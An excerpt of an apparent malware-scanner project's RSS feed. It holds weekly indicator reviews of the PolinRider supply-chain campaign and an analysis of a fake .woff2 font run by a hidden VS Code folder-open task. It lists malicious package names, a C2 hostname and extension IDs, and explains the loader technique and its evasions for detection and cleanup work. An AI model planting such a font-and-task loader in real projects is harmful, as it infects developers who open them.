</tr>
<tr>
<td><code>tailwind-typography-style</code></td>
<td>Same family. Placeholder</td>
</tr>
<tr>
<td><code>tailwind-typography-stylecss</code></td>
<td>Same family. Placeholder</td>
</tr>
<tr>
<td><code>tailwindcss-style-typography</code></td>
<td>Same family. Placeholder</td>
</tr>
<tr>
<td><code>viteplugiin</code></td>
<td>A misspelled vite plugin, fully unpublished</td>
</tr>
</tbody>
</table>
<p>Already carried, and confirmed by the tracker: the other 21 tailwind and
<code>@vite-*</code> names, <code>pybitjs</code> and <code>pyservercheck</code>. Already in comments:
<code>html-to-gutenberg</code>, <code>fetch-page-assets</code>, <code>@common-stack/generate-plugin</code>,
<code>@lambda-platform/lambda-vue</code>.</p>
<h2 id="considered-and-not-added">Considered and not added</h2>
<p><strong>Eighteen infected legitimate npm packages</strong>, listed with their malicious
versions in a comment in <code>bad-packages.txt</code>: <code>qrcode-vue3</code> (16k downloads a
week), <code>@joyfill/components</code>, the <code>itsa-react-*</code> family and <code>itsa-utils</code>
(published since 2016), <code>@testrelic/*</code>, <code>@react-native-aria/separator</code>,
<code>revine</code>, <code>spoint</code>, two templates and two chatbot widgets. The tool compares
package names, not versions, so these are a lockfile check for a person.</p>
<p><strong>Two crates</strong>, <code>greentic-setup</code> and <code>greentic-setup-dev</code>, dev builds of a real
project. Recorded in the same comment.</p>
<p><strong>Two Chrome extensions</strong>, the “one Chrome extension” earlier reviews could not
name, now two: ExpertAI Dev (<code>nafkmlanpinblehjeebdjaolelielbgc</code>), malicious 1.0.1
and 1.0.2, and CM Hub (<code>mfdgcmogddhinoaechjhfjmjcahljpie</code>), malicious 1.0.17. Both
are legitimate extensions with clean later versions. Nothing in <code>ioc/</code> can
match an installed browser extension: Chrome keeps them under <code>~/Library</code> on
macOS, which the walk does not enter. See techniques.</p>
<p><strong>140 Go modules and 19 Composer packages.</strong> Victims’ repositories, as above.</p>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<ol>
<li><strong>A browser-extension check.</strong> Read Chrome’s, Edge’s and Brave’s
<code>Extensions/&lt;id&gt;/&lt;version&gt;_0/</code> folders in each profile, as the editor
extension check reads VS Code’s, and match an extension ID and version
against a list. It would carry the two extensions above.</li>
<li><strong>Version-aware package matching.</strong> The infected legitimate packages above
are a finding only at their malicious versions. <code>src/manifest.rs</code> already
reads package names out of lockfiles; reading the version beside each would
let these be carried as <code>name@version</code>.</li>
</ol>
<h2 id="notes">Notes</h2>
<ul>
<li>The tracker reports activity up 83% week on week. The weekly routine still
cannot reach socket.dev; this source needs a person’s browser until it can.</li>
<li>Fixtures, in the sandbox with the release binary: a <code>package.json</code> depending
on <code>viteplugiin</code> and <code>@bcryptln/becryptjs</code> exits <strong>2</strong>; one depending on
<code>tailwind-scrollbar-hide</code>, <code>bcryptjs</code> and <code>qrcode-vue3</code> exits <strong>0</strong>.</li>
<li>No page read for this entry attempted to give the reader instructions.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 26 October 2026: no change</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-10-26/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-10-26/</guid>
      <pubDate>Mon, 26 Oct 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>The dossier has not moved in sixteen weeks. Three new OpenSourceMalware posts read, none PolinRider: a podcast recap of the GhostAction copycat, and two on a Brotli CVE. 85 OpenSSF records match the campaign and every package name is already carried. webrunc (PyPI), named only in a spoken summary, not added. The 2026-10-19 and 2026-10-21 pull requests have merged</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>no change</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td>the <code>ioc/2026-10-26</code> pull request</td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td>unchanged</td>
</tr>
</tbody>
</table>
<p>The 2026-10-19 and 2026-10-21 pull requests are both merged, so this review
starts from a <code>main</code> that carries the eight reopened package names, <code>utils-terminal</code>
and <code>logger-active</code>. No earlier review pull request is open.</p>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, cloned and read</td>
<td>Unchanged for the ninth week running. Latest commit still <code>0a8c9ea</code>, 2026-07-09: sixteen weeks. No CSV newer than the two July 10 files</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td>yes. <code>/blog</code> served the full index</td>
<td>Five posts since 2026-10-19. Read: episode 26 (2026-10-21), <code>brotlipocalypse</code> (2026-10-24), <code>node2shell-affects-python</code> (2026-10-23). The other two (OVH CLI, LiteLLM wheel) are not PolinRider; the OVH one was read on 2026-10-21</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>Searched the campaign name, <code>MicrosoftSystem64</code>, <code>ForceMemo</code>, and the fake-font technique. Nothing new published inside the window under any of them</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td><strong>no</strong>, 403</td>
<td>Eighth week in a row</td>
</tr>
<tr>
<td>OpenSSF <code>malicious-packages</code></td>
<td>yes, <code>git clone --depth 1</code> at commit <code>59089e70fd</code> (2026-10-25)</td>
<td>85 records match the campaign key (PolinRider, <code>MicrosoftSystem64</code>, the wallet, the fake-font names, <code>toskypi</code>, the agent names). Every package name is already in <code>ioc/</code> or in a comment there. One record modified since 2026-10-19: <code>html-to-gutenberg</code>, already recorded on 2026-10-21</td>
</tr>
<tr>
<td>registry.npmjs.org</td>
<td>yes</td>
<td><code>html-to-gutenberg</code> and <code>fetch-page-assets</code>: no version newer than the ones already recorded</td>
</tr>
<tr>
<td>Other hosts</td>
<td><code>safedep.io</code>: reachable. <code>medium.com</code>: 403</td>
<td></td>
</tr>
</tbody>
</table>
<p>Every source on the list was reached except socket.dev, as on every week since
2026-09-07.</p>
<h2 id="upstream-state">Upstream state</h2>
<p>The dossier has not moved in sixteen weeks, and no primary analysis of PolinRider
appeared between 2026-10-21 and 2026-10-26 that this review could find.</p>
<ul>
<li><strong>Episode 26</strong> (2026-10-21) is a recap of the GhostAction copycat post of
2026-10-16 and the OVH CLI incident, both already covered in the 2026-10-19 and
2026-10-21 entries. It names a PyPI package, <code>webrunc</code>, see below.</li>
<li><strong><code>brotlipocalypse</code> and <code>node2shell-affects-python</code></strong> are one Brotli decoder
vulnerability (CVE-2026-111497) in two ecosystems. They do not mention
PolinRider, DPRK or <code>MicrosoftSystem64</code>, and contain no malware indicator.</li>
<li><strong>No new <code>html-to-gutenberg</code> or <code>fetch-page-assets</code> release</strong> since 4.2.26
(2026-10-17) and 1.2.16 (2026-08-30). The publisher account has been quiet for
nine days.</li>
</ul>
<h2 id="considered-and-not-added">Considered and not added</h2>
<p><strong><code>webrunc</code> (PyPI).</strong> Named in episode 26 as a fetch-and-execute dropper found
by a researcher who first thought it was PolinRider. The speakers say it looked
nothing like PolinRider and describe no secondary payload or destination. The
only source is a spoken summary, which is enough to know it was published and
not enough to lift a name from, and nothing ties it to this campaign. Not added.</p>
<p><strong>Everything in the OpenSSF records that is not already in <code>ioc/</code>.</strong> Two names,
<code>html-to-gutenberg</code> and <code>fetch-page-assets</code>, are hijacked legitimate packages
and are kept as comments with the poisoned versions, as decided on 2026-10-05
and 2026-10-21.</p>
<p><strong>The Brotli CVE material.</strong> Vulnerability identifiers, not campaign indicators.</p>
<h2 id="open-gaps">Open gaps</h2>
<p><strong>The July 2026 ecosystem expansion.</strong> Carried forward for the eighth week.
socket.dev is still 403 and no reachable secondary source carries the list of 108
packages. The ChainVeil and ViteVenom clusters were drained on 2026-09-14.</p>
<p><strong>The eight reopened names.</strong> Re-checked and added by the 2026-10-19 review, and
the pull request has merged, so the gap is <strong>closed on <code>main</code></strong>. All eight are
still present in <code>ioc/bad-packages.txt</code>.</p>
<p><strong><code>weak.txt</code> has no effect on the local check.</strong> Unchanged from 2026-10-12.
Not re-tested this week, since <code>ioc/</code> did not change.</p>
<p><strong>Closed since they were first carried</strong>, checked against <code>main</code> for this entry:</p>
<ul>
<li><strong>npm CLI persistence</strong>: closed in 2.1.0. npm’s own program files and the two
<code>~/.npmrc</code> settings that run code are checked (ADR-0042).</li>
<li><strong>Small-file hashes</strong>: closed in 2.2.0 for the files the checks read whole:
<code>.vscode/tasks.json</code>, font files and build configs are compared against
<code>hashes.txt</code> at any size (ADR-0045). Still open for every other small file:
the <code>print.cjs</code> dropper is not hashed where it usually sits.</li>
<li><strong>Python-side coverage</strong>: partly closed. Python <code>.pth</code> startup files are
checked since 2.1.0 (ADR-0042). No entry has said what else this covers, so
it is not carried as a gap of its own any more.</li>
</ul>
<p><strong>Still open, unchanged:</strong> <code>authorized_keys</code>, the blob-ID tier, the weak path
tier, the regex content tier, and the font-vector <code>.woff2</code> weights. The last
is narrower than earlier entries say: the local font check catches any fake
<code>.woff2</code> by its first bytes, as the CI scanner does; what is missing is
naming the weights, which needs the weak path or regex content tier.</p>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<p>None new this week.</p>
<h2 id="notes">Notes</h2>
<ul>
<li><code>ioc/</code> is unchanged, so the Rust checks and fixtures were not re-run. The
documentation site builds: <code>npm ci &amp;&amp; npm run build</code>, 29 pages.</li>
<li>No page, repository or record read during this review attempted to give the
reviewer instructions.</li>
<li>The OpenSSF clone and the dossier clone were kept outside the working tree.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>PolinRider's fake woff2 font that is really JavaScript</title>
      <link>https://polinriderscanner.com/analysis/fake-woff2-font-javascript/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/analysis/fake-woff2-font-javascript/</guid>
      <pubDate>Fri, 23 Oct 2026 00:00:00 GMT</pubDate>
      <category>Analysis</category>
      <description>PolinRider hides its loader in files named like Font Awesome fonts, and it has gone by four names this year. The first four bytes give it away.</description>
      <content:encoded><![CDATA[<p>One of PolinRider’s ways in is a file such as <code>public/fonts/fa-solid-400.woff2</code>
that is not a font at all. It holds JavaScript, and a VS Code task runs it
with Node.js the moment someone opens the folder and trusts it. This year the
file has turned up under at least four names, so searching for one name will
miss it. The first four bytes of a real font never change, though, and you can
check them without opening the project. If you find a fake, treat every
computer that opened the project as infected.</p>
<h2 id="how-the-trick-works">How the trick works</h2>
<p>It takes two files. The “font” sits where web fonts usually live, under
<code>public/fonts/</code>, named like a Font Awesome file. Next to it, <code>.vscode/tasks.json</code>
holds a task, usually labelled <code>eslint-check</code>, set to run when the folder opens
with its output hidden. The task’s command runs the font with Node.js, and
Node does not care what a file is called.</p>
<p>It works on people as well as editors. A fonts folder looks normal in a web
project, and a font reads as a binary file, which most scanners and most
reviewers skip.</p>
<p><a href="https://opensourcemalware.com/blog/contagious-code-fake-font">OpenSourceMalware</a> first described the trick in January 2026, in
fake job-interview repositories handed to developers as coding tests. In April
the same researchers found the PolinRider loader inside
<code>public/fonts/fa-solid-400.woff2</code> in a repository with no <code>tasks.json</code> at all,
and concluded that the fake font was now part of PolinRider’s standard kit. It
has since turned up in packages too. As OpenSourceMalware reports it, JFrog
found two npm packages with a task that ran a file of that name, and Nextron
found 16 Go modules carrying the same file. Neither of those reports named
PolinRider; linking them to the campaign is OpenSourceMalware’s own reading.</p>
<h2 id="the-name-keeps-changing">The name keeps changing</h2>
<p>In September OpenSourceMalware followed the fake through three repositories of
one organization across 2026. It started as <code>fa-solid-400.woff2</code> in April,
became <code>fa-solid-500.woff2</code> in early September and <code>fa-solid-900.woff2</code> on 25
September, and three days later appeared as <code>fa-solid-300.llf</code>. The variants
did not neatly replace each other: at one point the 500 and 900 versions were
running side by side.</p>
<p>Three details make a name search even less reliable. <code>fa-solid-900.woff2</code> is a
genuine Font Awesome file name, and a real one sat in the same folder as the
earlier fakes, so the name alone proves nothing either way. <code>.llf</code> is not a
font extension, so a check that only reads <code>.woff2</code> files misses it. And on 25
September the fake moved several levels deep into existing folders, under a
different path in each repository.</p>
<p>The contents vary as well. Many builds start with a long run of whitespace,
421 tab characters in one case, so a quick look at the file shows nothing.</p>
<h2 id="copied-by-another-group">Copied by another group</h2>
<p>In October OpenSourceMalware found the GhostAction campaign using a copy of
the same launcher to run a credential stealer. It keeps the <code>eslint-check</code>
label, the folder-open trigger and a Font Awesome name under <code>public/fonts/</code>,
but the “font” is 38 lines of plain Node.js. The researchers found no shared
indicators with any DPRK malware they had seen and, for now, call it a
copycat. The same check finds both, and both need the same response.</p>
<h2 id="telling-a-real-font-from-a-fake">Telling a real font from a fake</h2>
<p>Do this from a terminal, without opening the project in an editor. The WOFF
2.0 specification requires every font file to begin with the signature <code>wOF2</code>,
and WOFF 1.0 with <code>wOFF</code>:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117;overflow-x:auto" tabindex="0" data-language="bash"><code><span class="line"><span style="--shiki-light:#953800;--shiki-dark:#FFA657">head</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> -c</span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF"> 4</span><span style="--shiki-light:#0A3069;--shiki-dark:#A5D6FF"> public/fonts/fa-solid-400.woff2</span><span style="--shiki-light:#1F2328;--shiki-dark:#E6EDF3">; </span><span style="--shiki-light:#0550AE;--shiki-dark:#79C0FF">echo</span></span></code></pre>
<p>Anything else in a <code>.woff2</code> or <code>.woff</code> file means it is not that font. Running
<code>file public/fonts/*</code> helps too: on the January sample it reported JavaScript
source text with very long lines. Then read <code>.vscode/tasks.json</code> as text.
A task that runs <code>node</code> on a font file, or anything set to run on folder open
that you did not write, is the launcher. Finally, search the whole tree for <code>fa-solid-*</code> and <code>.llf</code> files.</p>
<p>Two harmless cases look like fakes. A Git LFS pointer is a short text stub
standing in for a font, and some projects ship an empty placeholder. Neither
is malware. Never run the file to see what it does: running it is the
infection.</p>
<h2 id="if-you-find-one">If you find one</h2>
<p>Do not open the folder in VS Code. If it asks whether to trust the folder, say
no, and if it asks about the folder’s automatic tasks, choose Disallow. Treat
any computer that opened the project as infected and check it before anything
else.</p>
<p>Then look for the rest. The same repository can also carry a payload appended
to a config file such as <code>eslint.config.mjs</code>, which runs without VS Code at
all, whenever a lint run, a commit hook or a CI job loads it. Remove the fake
font, the task and the appended payload together, then clean up in order:
computers, credentials, repositories. The
<a href="https://polinriderscanner.com/docs/guides/getting-rid-of-polinrider/">cleanup checklist</a> has each step.</p>
<p>polinrider reads every <code>.woff</code> and <code>.woff2</code> file and confirms one whose first
bytes are not a font’s, skipping LFS pointers and empty files. It also knows
published fakes by their hash, confirms <code>.llf</code> files by name and confirms a
task that runs <code>node</code> on one of these fonts. A Font Awesome name it cannot
confirm, such as a weight Font Awesome does not ship, is listed for you to
review, because a name alone is not proof. If a result is unclear, the
<a href="https://polinriderscanner.com/docs/reference/false-positives/">false positives reference</a> explains the
usual harmless matches.</p>
<h2 id="sources">Sources</h2>
<ul>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/contagious-code-fake-font">DPRK Contagious Interview “Fake Font” Abuses VS Code Tasks</a>, 28 January 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-rides-again-north-korean-attack-expands-across-github">PolinRider DPRK Attack Expands Across GitHub</a>, 12 April 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-caused-dozens-of-npm-and-go-compromises">PolinRider Caused Dozens of npm, Go, PHP Compromises</a>, 31 July 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/polinrider-is-a-b-testing-its-way-past-your-detections">PolinRider is A/B Testing its Way Past Your Detections</a>, 26 September 2026</li>
<li>OpenSourceMalware, <a href="https://opensourcemalware.com/blog/ghostaction-copycats-polinrider-by-hiding-a-stealer-in-a-fake-font-file">GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File</a>, October 2026</li>
<li>W3C, <a href="https://www.w3.org/TR/WOFF2/">WOFF File Format 2.0</a> and <a href="https://www.w3.org/TR/WOFF/">WOFF File Format 1.0</a></li>
<li>Our indicator reviews of <a href="https://polinriderscanner.com/indicator-reviews/2026-09-28/">28 September</a> and <a href="https://polinriderscanner.com/indicator-reviews/2026-10-05/">5 October</a></li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 21 October 2026: 2 indicators added</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-10-21/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-10-21/</guid>
      <pubDate>Wed, 21 Oct 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>A short window, two days after the 2026-10-19 review, whose pull request is still open. Two June MicrosoftSystem64 droppers from the toskypi cluster, named by Microsoft Threat Intelligence and never carried: utils-terminal to bad-packages.txt, logger-active to weak.txt. html-to-gutenberg was poisoned again on 2026-10-11 and 2026-10-17, so its publisher account is still compromised. The \u-escape gap is confirmed closed</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>2 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td>the <code>ioc/2026-10-21</code> pull request</td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>ioc/bad-packages.txt</code>, <code>ioc/weak.txt</code></td>
</tr>
</tbody>
</table>
<p>This review ran two days after the last one, on a Wednesday rather than the
Monday the schedule names, so its window is short. The 2026-10-19 review’s pull
request (#55) is <strong>still open as a draft</strong>. This entry builds on its findings
and does not repeat them: the eight reopened package names, <code>pino-ulid</code>,
<code>redis-type-xyz</code> and the <code>com.launchkeeper.pkg-agent</code> LaunchAgent are that
pull request’s, and are treated here as already proposed. This branch starts
from <code>main</code>, so it does not contain them either.</p>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, cloned and read</td>
<td>Unchanged for the eighth week running. Latest commit still <code>0a8c9ea</code>, 2026-07-09: fifteen weeks. No CSV newer than the two July 10 files</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td>yes. <code>/blog</code> served the full index</td>
<td>One post since the last review: “Glassworm Hacks OVH Clouds CLI tool”, 2026-10-19 (22 UTC, after that review ran). Read in full. Not PolinRider; see upstream state</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>Searched the campaign name, <code>MicrosoftSystem64</code> and <code>ForceMemo</code>. Nothing new published inside the window under any of the three. The <code>MicrosoftSystem64</code> search surfaced two June package names this set never carried; see below</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td><strong>no</strong>, 403</td>
<td>Seventh week in a row</td>
</tr>
<tr>
<td>OpenSSF <code>malicious-packages</code></td>
<td>yes, <code>git clone --depth 1</code> at commit <code>ce5ff6a672</code> (2026-10-21)</td>
<td>64 records match the campaign key. No new package name. One record updated inside the window: <code>html-to-gutenberg</code>; see below</td>
</tr>
<tr>
<td>registry.npmjs.org</td>
<td>yes</td>
<td>Used to check every name below</td>
</tr>
<tr>
<td>Other hosts</td>
<td><code>safedep.io</code>, <code>blog.deception.pro</code>, <code>thehackernews.com</code>, <code>checkmarx.com</code>, <code>mallory.ai</code>, <code>stepsecurity.io</code>, <code>pypi.org</code>, <code>rustsec.org</code>, <code>cdn.syndication.twimg.com</code>: reachable. <code>medium.com</code>: 403</td>
<td></td>
</tr>
</tbody>
</table>
<p>Every source on the list was reached except socket.dev, as on 2026-10-19.</p>
<h2 id="upstream-state">Upstream state</h2>
<p>The dossier has not moved in fifteen weeks. No primary analysis of PolinRider
was published between 2026-10-19 and 2026-10-21 that this review could find.</p>
<ul>
<li><strong>OpenSourceMalware, “Glassworm Hacks OVH Clouds CLI tool”, 2026-10-19.</strong>
Release binaries of five <code>ovh/ovhcloud-cli</code> versions were replaced through a
contributor account that GlassWorm had held since March, with a ForceMemo
style amend-and-force-push in that account’s own repositories. The post says
in so many words: “We found no PolinRider markers, no malicious workflow
additions and no GhostAction indicators.” Nothing here for <code>ioc/</code>. It is
recorded because it lands under the <code>ForceMemo</code> search the routine runs, and
because the history-rewrite technique is the same one this tool already
checks for.</li>
<li><strong><code>html-to-gutenberg</code> is still being poisoned.</strong> The OpenSSF record
MAL-2026-6359 was updated on 2026-10-19 with three versions the 2026-10-05
review could not have seen: <strong>4.2.24 (2026-10-11), 4.2.25 and 4.2.26
(2026-10-17)</strong>, imported from GHSA-2gqj-wrf5-35w8. The record’s Amazon
Inspector section describes this package’s payload as the
<code>fa-solid-500.woff2</code> folderOpen loader reading the <code>0xa322</code> wallet, which is
PolinRider. The registry agrees: all three were published by the same single
maintainer account, <code>digelim</code>, and have been removed; <code>latest</code> is still
4.2.10. So the publisher account, or the release automation behind it, was
still in the attacker’s hands four days ago, five weeks after the last
malicious release the set recorded. <code>fetch-page-assets</code>, from the same
account, has had nothing new since 1.2.16 on 2026-08-30. The hijacked-versions
comment in <code>bad-packages.txt</code> is updated to say so; the name itself stays a
comment, because 4.2.10 and earlier are clean.</li>
</ul>
<h3 id="two-june-package-names-this-set-never-carried">Two June package names this set never carried</h3>
<p>The <code>MicrosoftSystem64</code> search returned summaries naming <code>utils-terminal@3.2.1</code>
and <code>logger-active@3.2.1</code>. Neither is in <code>ioc/</code>, in any earlier review, or in
the OpenSSF database. The summaries were not used; the names were traced to
their primary source and read there:</p>
<ul>
<li><strong>Microsoft Threat Intelligence, post on X, 2026-06-03</strong>
(<a href="https://x.com/MsftSecIntel/status/2062013269687054695">status 2062013269687054695</a>),
read through Twitter’s public syndication endpoint: “Compromised npm packages
(utils-terminal@3.2.1, logger-active@3.2.1) are abusing Hugging Face repos as
exfiltration infrastructure. The packages deploy a remote access trojan (RAT)
that captures keystrokes, screenshots, and crypto wallet credentials.” The
attached image carries no text.</li>
<li>ToolsLib’s write-up of the same post (2026-06-04) names the RAT as
<code>MicrosoftSystem64</code>, the npm publisher as <code>hexalpha10</code> and the author field as
<code>toskypi</code>, the same author as <code>eo-terminal</code> and <code>logger-draft</code> (added
2026-10-12) and SafeDep’s whole js-logger-pack cluster. That is secondary and
was not used for any line, but it is what ties these two to this set rather
than to some other RAT.</li>
</ul>
<p>On <code>registry.npmjs.org</code> on 2026-10-21 both are the <code>0.0.1-security</code>
placeholder. Each was first published as 3.2.0 on 2026-06-01, followed by 3.2.1
and 3.2.2 on 2026-06-03, and taken down the same day. There is no earlier
history, so despite Microsoft’s word “compromised” these are attacker-created
names, not hijacked ones, and under the rule since 2.1.0 the name alone is a
finding.</p>
<h2 id="added">Added</h2>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>File</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>utils-terminal</code></td>
<td><code>bad-packages.txt</code></td>
<td>Attacker-owned <code>MicrosoftSystem64</code> dropper, <code>toskypi</code> cluster; npm placeholder; not an ordinary phrase</td>
<td><a href="https://x.com/MsftSecIntel/status/2062013269687054695">Microsoft Threat Intelligence, 2026-06-03</a></td>
</tr>
<tr>
<td><code>logger-active</code></td>
<td><code>weak.txt</code></td>
<td>Same post and family, but an ordinary UI state or class name a project could use as a whole word, where <code>bad-packages.txt</code> would call it a confirmed hit</td>
<td><a href="https://x.com/MsftSecIntel/status/2062013269687054695">Microsoft Threat Intelligence, 2026-06-03</a></td>
</tr>
</tbody>
</table>
<p>Also changed, not an indicator: the <code>html-to-gutenberg</code> line in the
hijacked-versions comment of <code>bad-packages.txt</code> now lists 4.2.24 to 4.2.26 and
says to treat any version above 4.2.10 as malicious. Source:
<a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/html-to-gutenberg/MAL-2026-6359.json">MAL-2026-6359</a>
as updated 2026-10-19, and the registry’s own version history.</p>
<h2 id="considered-and-not-added">Considered and not added</h2>
<p><strong><code>logger-active</code> in <code>bad-packages.txt</code>.</strong> It is the same kind of name as
<code>logger-draft</code>, which went into <code>bad-packages.txt</code> on 2026-10-12, and the two
could reasonably be treated alike. It went to <code>weak.txt</code> because “active” is a
UI state: <code>className="logger-active"</code> or a <code>'logger-active'</code> string in a
Tailwind safelist stands as a whole name, and the GitHub checks would call that
repository INFECTED. A CSS selector <code>.logger-active</code> does not (a dot is part of
a name to the whole-name matcher), but the weak tier is a substring match, so
<code>ci/scan-workspace.sh</code> does put a review line on it. That is the cost of review
tier and it was accepted. The maintainer may want to overrule this, or to move
<code>logger-draft</code> the other way for consistency.</p>
<p><strong><code>c2-toskypi.onrender.com</code>.</strong> Listed by ToolsLib as a network indicator from
Microsoft’s post. It is not in the post’s text, and the post’s image carries
none; the list may come from a reply thread this review could not read. A
secondary source only, so not carried. It would be a <code>network.txt</code> line if a
primary source confirms it.</p>
<p><strong><code>hexalpha10</code>.</strong> The npm publisher account, per ToolsLib only. An account
name is not something a scan of files would find.</p>
<p><strong>The <code>microsoftsystem64</code> crate on crates.io</strong>
(<a href="https://rustsec.org/advisories/RUSTSEC-2026-0102">RUSTSEC-2026-0102</a>). Nine
versions published 2026-04-09, removed for an SSH <code>authorized_keys</code> backdoor and
file and Telegram <code>tdata</code> exfiltration, reported by Socket and sitsh. It shares
the implant’s name in lower case, and the <code>authorized_keys</code> behaviour matches
the <code>toskypi</code> RAT. But the advisory names no actor and no source reachable here
connects it to PolinRider, and <code>bad-packages.txt</code> is checked against npm
manifests, not <code>Cargo.toml</code>. Recorded so the next reviewer does not re-derive
it; worth carrying if a source ties it to the campaign.</p>
<p><strong>Everything in the OVH post</strong>: the GlassWorm Solana wallet, the <code>HassenBF</code>
account, the replaced release assets. A different actor by the source’s own
statement.</p>
<p><strong>The other 63 OpenSSF records.</strong> Already in <code>ioc/</code>, in its comments, or in
pull request #55.</p>
<h2 id="open-gaps">Open gaps</h2>
<p><strong>The July 2026 ecosystem expansion.</strong> Carried forward for the seventh week.
socket.dev is still 403 and no reachable secondary source carries the list.</p>
<p><strong>The eight reopened names.</strong> Re-checked and added by the 2026-10-19 review;
<strong>closed once #55 merges</strong>, open on <code>main</code> until then.</p>
<p><strong>The <code>\u</code>-escape problem.</strong> The 2026-10-19 entry asked for this to be
confirmed against a sample. Done: a <code>tailwind.config.js</code> whose only indicator
is <code>"global['!']"</code>, the <code>strong.txt</code> marker <code>global['!']</code> with its first
letter escaped, exits 2 under both <code>polinrider check --fs-only</code> and
<code>ci/scan-workspace.sh</code>. <strong>Closed</strong>, by 2.1.0 and ADR-0040.</p>
<p><strong><code>weak.txt</code> has no effect on the local check.</strong> Unchanged from 2026-10-12, and
re-confirmed with this week’s weak entry: <code>polinrider check --fs-only</code> on a
manifest that depends on <code>logger-active</code> exits 0 with no review line, and
<code>ci/scan-workspace.sh --fail-on review</code> on the same folder exits 1 with one.
That makes this week’s classification matter more than usual: on the machine
and folder checks, <code>logger-active</code> is invisible.</p>
<p><strong>The npm CLI persistence, small-file hashes, the blob-ID tier, the weak path
tier, the regex content tier, the font-vector <code>.woff2</code> forms, Python-side
coverage.</strong> Carried forward unchanged.</p>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<p>None new this week. The <code>authorized_keys</code> check proposed on 2026-10-12 gains a
second reason: the <code>toskypi</code> RAT and the <code>microsoftsystem64</code> crate both write
to that file.</p>
<h2 id="notes">Notes</h2>
<ul>
<li><strong>Fixtures</strong>, all outside the working tree, run with the release binary and
with <code>ci/scan-workspace.sh</code>:
<ul>
<li>a manifest that depends on <code>utils-terminal</code> exits 2 under both;</li>
<li>a manifest that depends on <code>logger-active</code> exits 0 under the binary (the
gap above) and 1 under <code>ci/scan-workspace.sh --fail-on review</code>;</li>
<li>the near-miss folder exits 0 under both, with <code>--fail-on review</code>: a manifest
naming <code>utils-terminal-pro</code>, <code>terminal-utils</code>, <code>logger-activity</code> and
<code>html-to-gutenberg</code> 4.2.10, and a stylesheet with <code>.utils-terminal</code> and
<code>.logger-activity</code> selectors;</li>
<li>a stylesheet with a <code>.logger-active</code> selector gets one review line from
<code>ci/scan-workspace.sh</code> and nothing from the binary, as described above.</li>
</ul>
</li>
<li><code>cargo fmt --check</code>, <code>cargo clippy -D warnings</code>, <code>cargo test</code> (208 passed),
<code>conformance/run.sh</code> (109 passed) and <code>ci/selftest.sh</code> all pass on this
branch. <code>polinrider --version</code> reports 43 strong, 95 packages, 33 network, 7
implant names, 26 weak.</li>
<li>No page, repository or record read during this review attempted to give the
reviewer instructions.</li>
<li>The OpenSSF clone was deleted after the search.</li>
<li>The commits on this branch are signed with the maintainer’s key from inside
the session, and GitHub shows them as verified. <strong>That took a fix the
routine’s signing setup does not make.</strong> The container’s global git config
sets <code>gpg.ssh.program</code> to its own signing wrapper (<code>/tmp/code-sign</code>), which
signs with the container’s key whatever <code>user.signingkey</code> says. The routine’s
five checks all passed, the commit carried a signature, and GitHub still
reported <code>unknown_key</code>. Setting <code>gpg.ssh.program</code> to <code>ssh-keygen</code> in the
repository’s local config fixed it. <strong>This is almost certainly why the
2026-10-19 commit (<code>55ab997</code>, #55) is unverified</strong>, <code>unknown_key</code>, despite
that entry saying it was signed with the maintainer’s key. The routine’s
setup block should set or check <code>gpg.ssh.program</code> too.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 19 October 2026: 12 indicators added</title>
